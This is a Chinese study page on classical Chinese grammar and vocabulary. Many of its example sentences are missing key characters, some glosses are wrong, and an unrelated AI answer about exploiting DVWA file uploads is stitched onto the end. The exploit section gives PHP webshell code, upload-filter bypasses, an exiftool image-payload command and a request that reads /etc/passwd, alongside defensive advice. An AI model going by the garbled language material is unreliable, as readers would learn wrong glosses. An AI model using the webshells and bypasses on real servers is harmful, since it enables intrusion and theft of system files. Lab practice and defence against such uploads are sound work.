出版基础知识 | 古代汉语知识

本文探讨了古汉语中的通假字现象,介绍了‘裁’、‘蜚’等例子,并区分了古今字的概念。此外,文章还分析了古汉语单音词与双音词的区别,以及词的本义、引申义和古今义的变化,并涉及实词活用,如名词的意动和使动用法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文字

通假字

通假字是我国古书的用字现象之一。“通假”是指通用、借代,即用读音相同或者相近的字代替本字。由于种种原因书写者没有使用本字,而临时借用了音同或音近的字来替代。

  • 举,则又超乎而跃

    “裁”通“才”,意为“刚刚”。

  • 国中有大鸟,止王之庭,三年不又不鸣

    “蜚”通“飞”,表示“飞翔、飞离、飞走”

  • 张良出,项伯

    “要”通“邀”,意为“邀请”

  • 距关,毋诸侯,秦地可尽王也

    “内”通“纳”,意为“拒绝”

  • 于是赵王乃斋戒五日,使臣奉璧,拜送书于

    “庭”通“廷”,意为“朝廷”

古今字

异体字(了解)

在古代汉语中有一些字,它们同音同义,只是形体有所不同,称之为异体字。汉字简化后,几个同音同义的繁体字,有的被一个简化字代替;有的选用其中一个字为规范字,其他的则为异体。有些字意义与用法有相同之处,也有不同之处,这样的字不能视为异体字。有些繁体字简化后,被另一个笔画少的传承字代替,但它们在古代汉语里是不同的两个字,所以它们不是异体字。

词汇

古汉语中的单音词与双音词(掌握)

词的本义与引申义的特点和主要差异(掌握)

  • 文过饰非

    “文”的本义是“线条交错的图形、花纹”;用作动词,为“刺花纹”,引申为“华美、有文采”,与“质”相对;又引申为“礼乐制度”“文字”“文章”“文辞”“文饰”“掩饰”等。“文过饰非”是指用漂亮的言词掩饰自己的过失和错误,其中“文”是指掩饰。

    • 千里目,更上一层楼。(穷:尽,完)
    • 孔子于陈蔡之间,七日不尝食。(穷:被困)

      孔子在陈国和蔡国之间的地方受困,七天没吃上饭菜

    • 则独善其身,达则兼济天下。(穷:不得志)
    • 儒有博学而不,笃行而不止。(穷:止,息)
    • 兄事之

    应该

    • 与项羽相见。

    能够

    • 所识穷乏者我欤。

    “得”通“德”,恩惠,此处是感激的意思,动词。

    • 贼二人我,我幸皆杀之矣。

    遇到

    • 意气扬扬,甚自也。

    得意

  • “八音”中的“革”是一种乐器,用的是“革”的引申义

  • “文”的本义是“线条交错的图形、花纹”

  • 亡羊补牢

    是指羊因为羊圈的空缺被狼叼走了再去修补羊圈,还不算晚。比喻出了问题以后想办法补救,可以防止继续受损失。

词的古义与今义的特点和主要差异(掌握)

与现代汉语用法相同

与现代汉语用法不同

  • 牺牲玉帛,弗敢加也

    古义是祭祀或祭拜用的牲畜,今义是为坚持信仰而死。

  • 不失义,达不离道

    古义是不得志,今义是贫困。

  • 先帝不以臣卑鄙,猥自枉屈

    古义是见识短浅、身份低微,今义是品质低劣、下流。

  • 沛公奉卮酒为寿,约为婚姻(结为夫妻)

    “婚姻”的今义是指:①嫁娶的事;②男人和女人结为夫妻或已结婚的状态。但在古义中,“婚姻”作“约为男女亲家”之义。

  • 相接

    “兵”,现代汉语一般指士兵,指的是人,上古时期一般是指武器。成语“短兵相接”的“兵”就保留了古义。

  • “革”的本义是“去了毛的兽皮”

  • 李白诗句“挥手公卿”

    辞别

  • 秦王恐其破璧,乃辞谢

    婉言道歉

  • 马观花

  • 弃甲曳兵而

  • 必使仰足以事父母,俯足以畜妻子

    在古代是两个单音词,即“妻”与“子”

  • 燕军扰乱奔走

    在古代是“溃散逃命”的意思

  • 实欲连兵南面而王齐

    在该句中指“墨和莒的守军”,与现代汉语中的方位意义不同。

  • 武父子亡功德,皆为陛下所成就

    栽培,提拔

  • 入而徐趋,至而自

    请罪

  • 墨子蔽于用而不知

    礼乐制度

  • 言之无,行而不远

    文采

  • 同心之言,其如兰

    香气
    “臭”在古代表示“气味”,中性词;在现代表示“难闻的气味”,贬义词。

  • 伐我,公将战

    军队

  • 烈士暮年,壮心不已

    在古代指“英雄”;在现代指“在革命斗争中壮烈牺牲的人员”。

  • 因为长句,歌以赠之

    “因为”是短语,其中“因”表示“因此”,“为”表示“写作”;在现代汉语中“因为”是关联词。

实词活用

古汉语中名词活用的基本情况

  • 故人不独其亲,不独其子

    “亲”和“子”是名词的意动用法,意为“把……当作自己的父母”“把……当作自己的子女”。

  • 先生之恩,生死而骨也

    名词的使动用法,意为“使……长肉”。

  • 渔人甚异之

    意动用法,形容词作动词,表示“以……为异、对……感到惊异、认为……是奇异的”。

  • 假舟楫者,非能也,而绝江河

    名词活用为动词,意为“游泳”。

<think>好的,我现在要处理用户关于DVWA文件上传漏洞的利用与防护的问题。首先,我需要回忆一下DVWA是什么,它是一个用于练习Web漏洞的测试环境,文件上传漏洞是其中常见的漏洞之一。用户可能想知道攻击者如何利用这个漏洞,以及如何防御。 接下来,我得确认用户的需求。他们提到了“exploitation and prevention”,所以需要分两部分回答:漏洞利用的方法和防范措施。时,用户提供的引用内容提到了WebShell的危害,这可能与文件上传漏洞结合使用有关,需要强调这一点。 首先,关于利用部分,攻击者可能会上传恶意文件如PHP Webshell到服务器,通过上传功能绕过限制。需要详细说明常见的绕过方法,比如修改文件类型、使用双扩展名、图片马等。时,DVWA的不安全等级(如Low、Medium、High)可能有不的防护措施,攻击手段也会不,需要分等级描述。 然后是防护措施,这部分需要对应各个安全等级,说明如何加强验证。例如,Low级别没有过滤,所以需要增加文件类型检查、白名单扩展名、重命名文件等。Medium级别可能检查Content-Type,所以需要更严格的检查,比如MIME类型和文件头。High级别可能检查扩展名,但仍有绕过可能,所以需要结合多个层面的防护。 还要注意引用用户提供的资料,特别是关于WebShell的危害,在解释漏洞利用时引用[^1]。需要确保回答结构清晰,分步骤说明,并且语言用中文。 另外,用户要求生成相关问题,可能需要围绕文件上传漏洞的其他方面,比如其他漏洞类型、如何检测WebShell、DVWA其他漏洞的防护等。 需要检查是否符合系统级指令,比如数学公式是否正确使用$...$,但这个问题可能不涉及数学公式。确保LaTeX语法正确,但这里可能用不上。使用中文回答,结构清晰,分点说明。 总结回答结构:漏洞利用部分分安全等级说明,防护措施对应每个等级提出建议,最后生成相关问题。需要确保引用正确,并在适当位置添加引用标记。</think>### DVWA文件上传漏洞的利用与防护 #### 一、漏洞利用原理 DVWA(Damn Vulnerable Web Application)的文件上传漏洞允许攻击者上传恶意文件到服务器。攻击者通过构造特殊文件(如WebShell)可获取系统控制权[^1]。漏洞利用的关键在于绕过文件类型检测机制: 1. **Low安全级别** - 无任何过滤,直接上传PHP文件(如`shell.php`)即可 ```php <?php system($_GET["cmd"]); ?> ``` 2. **Medium安全级别** - 绕过方式:修改HTTP请求的`Content-Type`为`image/jpeg` - 使用双扩展名:`shell.php.jpg` 3. **High安全级别** - 通过图片马+文件包含漏洞执行代码 - 生成含恶意代码的图片: ```shell exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg ``` #### 二、防护措施 根据DVWA不安全级别,可采取以下防护策略: 1. **基础防护(Low级别)** - 限制文件扩展名白名单(如`.jpg`, `.png`) - 验证文件类型:时检查MIME类型和文件头 - 重命名上传文件:`$new_name = md5(uniqid()).$ext;` 2. **中级防护(Medium级别)** - 添加服务器端文件内容检测: ```php if(exif_imagetype($_FILES['file']['tmp_name']) === false){ die("Invalid file type"); } ``` - 禁止执行上传目录的脚本: ```apache <Directory "/uploads"> php_flag engine off </Directory> ``` 3. **高级防护(High级别)** - 使用隔离文件存储(如云存储服务) - 部署Web应用防火墙(WAF)规则: ```nginx location ~* \.(php|phtml)$ { deny all; } ``` - 定期扫描WebShell:使用工具如`ClamAV`或`RIPS` #### 三、漏洞危害案例 攻击者上传WebShell后,可通过`/uploads/shell.php?cmd=cat+/etc/passwd`读取系统敏感文件[^1]。更隐蔽的WebShell会伪装成正常文件,例如通过`<?php eval($_POST['ant']);?>`实现加密通信。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值